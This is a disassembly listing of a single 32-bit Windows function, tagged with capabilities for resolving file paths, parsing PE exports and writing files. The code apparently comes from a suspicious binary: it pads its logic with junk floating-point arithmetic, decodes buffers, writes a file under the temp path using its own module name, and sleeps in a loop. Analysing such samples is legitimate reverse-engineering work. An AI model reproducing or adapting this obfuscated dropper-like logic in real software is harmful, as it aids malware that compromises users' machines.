Function at 0x408f40
Capabilities:
Get common file path
Resolve function by parsing pe exports
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x41e868
mov eax, dword fs:[0]
push eax
sub esp, 0xe0
mov eax, dword [0x4260b0]
xor eax, esp
mov dword [esp + 0xd8], eax
push ebx
push esi
push edi
mov eax, dword [0x4260b0]
xor eax, esp
push eax
lea eax, [esp + 0xf0]
mov dword fs:[0], eax
fldz
xor eax, eax
fst dword [esp + 0x20]
xor ecx, ecx
mov dword [esp + 0x30], eax
fstp dword [esp + 0x18]
fldz
xor edx, edx
fst qword [esp + 0x3c]
mov dword [esp + 0x54], eax
mov dword [esp + 0x58], eax
mov word [esp + 0x5c], cx
fst qword [esp + 0x6c]
mov dword [esp + 0x34], eax
fstp qword [esp + 0x4c]
mov dword [esp + 0x1c], eax
mov word [esp + 0x38], dx
fld dword [esp + 0x18]
fld dword [0x424e74]
fadd qword [0x41f970]
fsubp st(1)
fstp dword [esp + 0x18]
fld dword [0x424e74]
mov dword [esp + 0xa0], 0xf
fsub qword [0x41f348]
mov dword [esp + 0x9c], eax
mov byte [esp + 0x8c], al
fstp dword [0x424e74]
push 0x118
mov dword [esp + 0xfc], eax
call fcn.0040b488
push eax
mov dword [esp + 0x8c], eax
call fcn.00403960
add esp, 8
mov edi, edi
push 0
call fcn.0040b35a
dec dword [esp + 0x20]
mov ecx, dword [esp + 0x20]
mov esi, dword [esp + 0x38]
inc dword [esp + 0x38]
sub ecx, 0x6694e6f2
add esp, 4
cmp ecx, esi
mov dword [esp + 0x7c], eax
mov dword [esp + 0x80], edx
jle 0x409075
fld dword [esp + 0x18]
fsub qword [0x41f348]
fstp dword [esp + 0x18]
fld qword [0x425f50]
fld dword [esp + 0x18]
fsubr qword [0x41f968]
fsubp st(1)
fstp qword [0x425f50]
mov esi, dword [esp + 0x58]
cmp edx, esi
jg 0x409093
jl 0x409085
cmp eax, dword [esp + 0x54]
jae 0x409093
xor esi, esi
mov dword [esp + 0x54], 0
mov dword [esp + 0x58], esi
mov ecx, eax
sub ecx, dword [esp + 0x54]
mov edi, edx
sbb edi, esi
mov dword [esp + 0x28], edi
js 0x409a7a
jg 0x4090b5
cmp ecx, 0x708
jbe 0x409a7a
fld qword [esp + 0x3c]
mov dword [esp + 0x58], edx
fld qword [esp + 0x4c]
mov dx, word [0x424dd0]
fsub qword [0x41f960]
movsx ecx, dx
mov dword [esp + 0x48], ecx
mov edi, eax
shr edi, 9
fild dword [esp + 0x48]
push 0x408
lea ebx, [edi + 0x55]
push 0x425b08
fsubp st(1)
mov dword [esp + 0x5c], eax
mov dword [esp + 0x70], 0
mov dword [esp + 0x6c], edi
fsubp st(1)
mov dword [esp + 0x2c], ebx
fstp qword [esp + 0x44]
dec word [0x424dd0]
call fcn.00402a70
push 0xd
push 0x424d80
mov dword [esp + 0x88], eax
call fcn.00402a70
mov esi, eax
push 0xaf1
push 0x424ff8
mov dword [esp + 0x78], esi
call fcn.00402a70
fld dword [0x424fd0]
fsub qword [0x41f958]
mov dword [esp + 0x60], eax
add esp, 0x18
fcomp qword [0x41f950]
fnstsw ax
test ah, 0x41
jne 0x409179
mov edx, dword [esp + 0x1c]
sub edx, 0x28113da6
mov dword [esp + 0x44], edx
fild dword [esp + 0x44]
fmul qword [esp + 0x6c]
fstp qword [esp + 0x6c]
inc dword [esp + 0x1c]
push 0x31e
push 0x424268
call fcn.00402a70
fld qword [esp + 0x54]
fadd qword [0x41f948]
mov dword [esp + 0x4c], eax
add esp, 8
fcomp qword [0x41f940]
fnstsw ax
test ah, 0x41
jp 0x4091f3
fld dword [esp + 0x20]
mov ax, word [esp + 0x38]
movsx ecx, ax
mov dword [esp + 0x14], ecx
fild dword [esp + 0x14]
fcompp
fnstsw ax
test ah, 0x41
jne 0x4091f3
fld qword [esp + 0x4c]
mov dx, word [0x424f08]
mov eax, dword [esp + 0x30]
fstp st(0)
fld dword [esp + 0x20]
inc word [0x424f08]
dec dword [esp + 0x30]
fstp st(0)
fld dword [esp + 0x20]
fsub qword [0x41f348]
fstp dword [esp + 0x20]
cmp edi, ebx
je 0x40972d
jmp 0x409200
mov ecx, dword [0x4278c0]
push 0
push ecx
call fcn.004010c0
add esp, 8
test eax, eax
jne 0x40922a
mov edx, dword [0x4278c8]
mov eax, dword [0x427404]
push edx
push eax
call fcn.00402970
add esp, 8
mov ecx, dword [esp + 0x64]
mov edx, dword [esp + 0x44]
mov eax, dword [esp + 0x48]
push ecx
push edx
push eax
lea ecx, [esp + 0xb0]
push ecx
call fcn.00404420
push 0x8b
push 0x424f10
call fcn.00402a70
mov ebx, eax
mov eax, dword [esp + 0x78]
add esp, 0x18
mov esi, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x409260
mov edi, ebx
sub eax, esi
dec edi
lea esp, [esp]
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x409270
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push 0x2710
push 0
lea edx, [esp + 0x90]
push edx
mov ecx, eax
lea eax, [esp + 0xb0]
and ecx, 3
push ebx
push eax
rep movsb byte es:[edi], byte [esi]
call fcn.00408580
xor ecx, ecx
push 0x8b
push ecx
mov dword [esp + 0x30], 0
mov word [esp + 0x30], cx
push ebx
call fcn.0040b6e0
push ebx
call fcn.0040b3ab
inc word [0x424fac]
mov dx, word [0x424fac]
movsx eax, dx
mov ecx, 0xbf3cb8c1
sub ecx, eax
mov dword [esp + 0x38], ecx
add esp, 0x24
fild dword [esp + 0x14]
fld dword [esp + 0x18]
fcompp
fnstsw ax
fld dword [esp + 0x18]
fld1
fadd st(1), st(0)
fxch st(1)
fstp dword [esp + 0x18]
test ah, 0x41
jne 0x409386
mov edx, dword [0x4240cc]
mov dword [esp + 0x14], edx
fild dword [esp + 0x14]
fld dword [0x424e70]
fadd qword [esp + 0x3c]
fsub qword [0x41f938]
fcompp
fnstsw ax
fld dword [0x424e70]
fsub st(1)
fstp dword [0x424e70]
dec dword [0x4240cc]
test ah, 0x41
jp 0x409365
fld qword [esp + 0x3c]
fsub qword [0x41f930]
fadd dword [esp + 0x20]
fmul dword [0x424050]
fstp dword [0x424050]
fadd qword [esp + 0x3c]
fstp qword [esp + 0x3c]
jmp 0x409388
fstp st(0)
fld dword [0x423d44]
mov eax, dword [esp + 0x1c]
add eax, 0x263a4fdd
mov dword [esp + 0x14], eax
fisub dword [esp + 0x14]
fstp dword [0x423d44]
jmp 0x409388
fstp st(0)
mov eax, dword [esp + 0x8c]
mov edi, 0x10
cmp dword [esp + 0xa0], edi
jae 0x4093a4
lea eax, [esp + 0x8c]
mov ecx, dword [esp + 0x9c]
mov edx, dword [esp + 0x78]
push ecx
push eax
push edx
call fcn.00408230
add esp, 0xc
cmp eax, 9
jl 0x4096d7
mov ecx, dword [esp + 0x8c]
cmp dword [esp + 0xa0], edi
jae 0x4093da
lea ecx, [esp + 0x8c]
mov edx, dword [ecx]
xor ecx, ecx
cmp ecx, dword [esp + 0x80]
jg 0x40940a
jl 0x4093ef
cmp edx, dword [esp + 0x7c]
jae 0x40940a
fld dword [0x423e0c]
fadd qword [0x41f928]
fsub qword [esp + 0x4c]
fstp dword [0x424efc]
jmp 0x4096d7
lea esi, [eax - 1]
cmp esi, dword [esp + 0x9c]
jbe 0x40941b
call fcn.0040bc22
mov eax, dword [esp + 0x8c]
cmp dword [esp + 0xa0], edi
jae 0x409432
lea eax, [esp + 0x8c]
mov byte [eax + esi], 0
mov esi, dword [esp + 0xa0]
mov ebx, dword [esp + 0x8c]
mov eax, ebx
cmp esi, edi
jae 0x409451
lea eax, [esp + 0x8c]
lea ecx, [esp + 0xa4]
add eax, 8
jmp 0x409460
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x409480
test dl, dl
je 0x40947c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x409480
add eax, 2
add ecx, 2
test dl, dl
jne 0x409460
xor eax, eax
jmp 0x409485
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x4096d7
cmp esi, edi
jb 0x409569
mov edi, ebx
test ebx, ebx
je 0x4094c8
mov eax, ebx
cmp esi, 0x10
jae 0x4094a9
lea eax, [esp + 0x8c]
cmp eax, edi
ja 0x4094c8
mov eax, ebx
cmp esi, 0x10
jae 0x4094bb
lea eax, [esp + 0x8c]
mov ecx, dword [esp + 0x9c]
add eax, ecx
cmp edi, eax
jbe 0x4094d4
call fcn.0040bc22
mov ecx, dword [esp + 0x9c]
lea esi, [esp + 0x88]
mov ebx, edi
mov edx, dword [esp + 0xa0]
mov eax, dword [esp + 0x8c]
cmp edx, 0x10
jae 0x4094f7
lea eax, [esp + 0x8c]
lea edi, [eax + ecx]
test edi, edi
je 0x40952e
mov eax, dword [esp + 0x8c]
cmp edx, 0x10
jae 0x409511
lea eax, [esp + 0x8c]
cmp eax, edi
ja 0x40952e
mov eax, dword [esp + 0x8c]
cmp edx, 0x10
jae 0x409528
lea eax, [esp + 0x8c]
add eax, ecx
cmp edi, eax
jbe 0x409533
call fcn.0040bc22
cmp esi, 0xfffffffc
je 0x40954c
test esi, esi
je 0x409547
lea eax, [esp + 0x88]
cmp esi, eax
je 0x40954c
call fcn.0040bc22
cmp ebx, edi
je 0x4095c0
cmp esi, 0xfffffffc
je 0x409586
test esi, esi
jne 0x40955e
call fcn.0040bc22
cmp dword [esi + 0x18], 0x10
jb 0x409575
mov eax, dword [esi + 4]
jmp 0x409578
lea edi, [esp + 0x8c]
jmp 0x40949b
lea eax, [esi + 4]
mov ecx, dword [esi + 0x14]
add ecx, eax
cmp ebx, ecx
jb 0x409586
call fcn.0040bc22
mov byte [ebx], 0
cmp esi, 0xfffffffc
je 0x4095b3
test esi, esi
jne 0x409597
call fcn.0040bc22
cmp dword [esi + 0x18], 0x10
jb 0x4095a2
mov eax, dword [esi + 4]
jmp 0x4095a5
lea eax, [esi + 4]
mov edx, dword [esi + 0x14]
add edx, eax
cmp ebx, edx
jb 0x4095b3
call fcn.0040bc22
mov ecx, dword [esp + 0x9c]
inc ebx
jmp 0x4094dd
push 0x7e
push 0x424f10
call fcn.00402a70
xor ebx, ebx
push ebx
mov esi, eax
push ebx
lea eax, [esp + 0x98]
push eax
lea ecx, [esp + 0xb8]
push esi
push ecx
call fcn.00408580
push 0x7e
xor edx, edx
push ebx
mov dword [esp + 0x38], ebx
mov word [esp + 0x38], dx
push esi
call fcn.0040b6e0
push esi
call fcn.0040b3ab
mov ax, word [0x4240c8]
mov edx, dword [esp + 0x5c]
movsx ecx, ax
mov eax, 0x4db9c371
sub eax, ecx
mov ecx, 1
add dword [esp + 0x5c], ecx
add edx, 0x2e2ee97e
add esp, 0x2c
cmp edx, eax
jg 0x40964e
mov ax, word [esp + 0x38]
movsx edx, ax
add edx, 0x3f502c38
mov dword [esp + 0x14], edx
fild dword [esp + 0x14]
fstp dword [0x424720]
add dword [esp + 0x38], ecx
jmp 0x409678
fld qword [esp + 0x3c]
mov eax, dword [esp + 0x1c]
mov dword [esp + 0x14], eax
fild dword [esp + 0x14]
fsubp st(1)
call fcn.0040b5f0
mov dword [0x424894], eax
fld qword [esp + 0x3c]
fadd qword [0x41f348]
fstp qword [esp + 0x3c]
push 0xc
push 0x4245b4
call fcn.00402a70
add esp, 8
mov esi, eax
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x409690
sub eax, edx
push eax
push 0xffffffffffffffff
push esi
lea ecx, [esp + 0x94]
call fcn.004049a0
mov edi, eax
xor eax, eax
mov dword [esi], eax
xor ecx, ecx
mov dword [esi + 4], eax
mov dword [esp + 0x14], ebx
push esi
mov word [esp + 0x18], cx
mov dword [esi + 8], eax
call fcn.0040b3ab
mov edx, dword [esp + 0xa0]
add edx, 0xfffffff5
add esp, 4
cmp edi, edx
je 0x4096ec
mov eax, dword [esp + 0x64]
inc eax
mov dword [esp + 0x64], eax
cmp eax, dword [esp + 0x24]
jne 0x409200
jmp 0x409729
push 0xb
push edi
lea ecx, [esp + 0x90]
call fcn.004067a0
fld qword [0x424590]
fsubr qword [0x41f920]
mov dword [esp + 0x68], 1
fmul qword [esp + 0x4c]
fstp qword [esp + 0x4c]
fld qword [0x424590]
fsub qword [0x41f348]
fstp qword [0x424590]
mov esi, dword [esp + 0x60]
mov ebx, dword [esp + 0x78]
xor edi, edi
push 0x408
xor eax, eax
push edi
mov dword [esp + 0x2c], edi
mov word [esp + 0x1c], ax
push ebx
call fcn.0040b6e0
push ebx
call fcn.0040b3ab
xor eax, eax
mov dword [esi], eax
mov dword [esi + 4], eax
xor ecx, ecx
mov dword [esi + 8], eax
mov dword [esp + 0x34], edi
mov word [esp + 0x24], cx
push esi
mov byte [esi + 0xc], al
call fcn.0040b3ab
mov esi, dword [esp + 0x58]
push 0x31e
xor edx, edx
push edi
mov dword [esp + 0x40], edi
mov word [esp + 0x30], dx
push esi
call fcn.0040b6e0
push esi
call fcn.0040b3ab
fld dword [esp + 0x3c]
fadd qword [0x41f348]
mov esi, dword [esp + 0x6c]
push 0xaf1
xor eax, eax
fstp dword [esp + 0x40]
push edi
fld dword [esp + 0x44]
push esi
fadd qword [esp + 0x6c]
fstp qword [esp + 0x6c]
mov dword [esp + 0x54], edi
mov word [esp + 0x44], ax
call fcn.0040b6e0
push esi
call fcn.0040b3ab
push 0x40
lea ecx, [esp + 0xdc]
push edi
push ecx
call fcn.0040b6e0
add esp, 0x40
cmp dword [esp + 0x68], edi
je 0x409a7a
mov edx, dword [esp + 0x84]
push 0x708
push edx
call fcn.004047c0
add esp, 8
cmp dword [esp + 0x9c], 0x200
jbe 0x409a7a
push 0x370
call fcn.0040b488
fld dword [0x4241a8]
fadd qword [0x423d88]
add esp, 4
mov ebx, eax
push ebx
fmul dword [0x4247ac]
push 0xeb
fstp dword [0x4247ac]
fld dword [esp + 0x20]
fadd qword [0x41f348]
fstp dword [esp + 0x20]
fld dword [esp + 0x20]
fadd qword [0x41f918]
fsub qword [0x41f910]
fstp dword [esp + 0x28]
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
push ebx
call fcn.00403d20
fld qword [0x4245e8]
fsub qword [0x41f908]
add esp, 8
fadd qword [0x4241e0]
fcomp qword [0x41f900]
fnstsw ax
test ah, 0x44
jnp 0x4098ec
mov eax, dword [esp + 0x1c]
sub eax, 0x314205e
mov dword [esp + 0x24], eax
fild dword [esp + 0x24]
fld qword [esp + 0x4c]
fcompp
fnstsw ax
fld qword [esp + 0x4c]
fld1
fadd st(1), st(0)
fxch st(1)
fstp qword [esp + 0x4c]
test ah, 0x41
jp 0x4098ea
fld qword [esp + 0x6c]
fadd st(1)
fstp qword [esp + 0x6c]
mov cx, word [0x425fb4]
fld qword [0x424fd8]
fstp st(0)
fld qword [esp + 0x6c]
fstp st(0)
fadd qword [0x424fd8]
fstp qword [0x424fd8]
jmp 0x4098ec
fstp st(0)
push 3
push 0x424888
call fcn.00402a70
mov esi, eax
push esi
push ebx
call fcn.0040c1cf
mov edi, eax
xor eax, eax
xor edx, edx
mov dword [esp + 0x34], eax
mov word [esi], ax
push esi
mov word [esp + 0x28], dx
mov byte [esi + 2], al
call fcn.0040b3ab
mov eax, dword [esp + 0xa0]
add esp, 0x14
cmp dword [esp + 0xa0], 0x10
jae 0x409937
lea eax, [esp + 0x8c]
mov ecx, dword [esp + 0x9c]
push edi
push 1
push ecx
push eax
call fcn.0040c3f7
push edi
call fcn.0040bd75
add esp, 0x14
push 0x104
lea eax, [ebx + 0x104]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov dx, word [esp + 0x38]
mov ax, word [esp + 0x5c]
inc dword [esp + 0x5c]
cmp ax, dx
jl 0x4099ad
fld dword [0x423d44]
mov ecx, dword [esp + 0x34]
fsubr qword [0x41f8f8]
mov dword [esp + 0x24], ecx
fild dword [esp + 0x24]
fmulp st(1)
call fcn.0040b5f0
mov dword [esp + 0x34], eax
fld dword [0x423d44]
fadd qword [0x41f348]
fstp dword [0x423d44]
push 0x15
push 0x4240b0
call fcn.00402a70
push 0x20
push 0x4230e4
mov edi, eax
call fcn.00402a70
mov edx, dword [0x4278c0]
push edx
mov esi, eax
push esi
lea eax, [ebx + 0x104]
push eax
push edi
lea eax, [ebx + 0x208]
push 0x168
push eax
call fcn.0040c1e6
xor eax, eax
mov dword [esi], eax
mov dword [esi + 4], eax
mov dword [esi + 8], eax
mov dword [esi + 0xc], eax
mov dword [esi + 0x10], eax
mov dword [esi + 0x14], eax
xor ecx, ecx
mov dword [esp + 0x4c], eax
mov dword [esi + 0x18], eax
mov word [esp + 0x3c], cx
push esi
mov dword [esi + 0x1c], eax
call fcn.0040b3ab
xor eax, eax
mov dword [edi], eax
mov dword [edi + 4], eax
mov dword [edi + 8], eax
mov dword [edi + 0xc], eax
xor edx, edx
mov dword [edi + 0x10], eax
mov dword [esp + 0x50], 0
push edi
mov word [esp + 0x44], dx
mov byte [edi + 0x14], al
call fcn.0040b3ab
mov eax, dword [0x4278c0]
push 1
push eax
call fcn.004010c0
lea eax, [ebx + 0x208]
push eax
push ebx
call fcn.00402970
add esp, 0x40
push 0x370
push 0
push ebx
call fcn.0040b6e0
push ebx
call fcn.0040b3ab
add esp, 0x10
push 0x15f90
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [0x4278c0]
push 0
push ecx
call fcn.004010c0
add esp, 8
test eax, eax
jne 0x409020
mov edx, dword [0x4278c8]
mov eax, dword [0x427404]
push edx
push eax
call fcn.00402970
jmp 0x40901b